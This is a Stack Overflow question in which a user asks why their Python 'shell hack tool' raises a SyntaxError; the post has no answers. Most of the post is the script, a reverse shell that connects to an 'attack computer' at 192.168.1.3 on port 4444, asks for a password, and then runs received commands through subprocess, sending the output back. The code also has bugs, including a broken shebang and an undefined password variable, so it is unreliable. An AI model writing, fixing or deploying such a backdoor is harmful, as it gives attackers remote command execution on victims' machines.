1

I want to make a shell hack tool but i get this error line 50 Login() SyntaxError: invalid character in identifier and i am trying to solve it for 3 days (sorry for my english).Video about it :https://www.youtube.com/watch?v=HuCCoR6cujY

!/usr/bin/python

import subprocess #Process commands
import socket #Process socket data

#accounts to use
host = "192.168.1.3" # attack computer
port = 4444 #attack port
password = "1234"

#check password
def Login():

    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:


       Login()
    else:


       s.send("Connected #> ")
       shell()

#Execute shell commands
def shell():

    while True:

        data = s.recv(1024)

        if data.strip() == ':kill':


            break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#>")


#start script


s=  socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
Login()
Xedrian
  • 11
  • 6
  • Possible duplicate of [Invalid character in identifier](https://stackoverflow.com/questions/14844687/invalid-character-in-identifier) – Fine Feb 01 '19 at 10:31

0 Answers0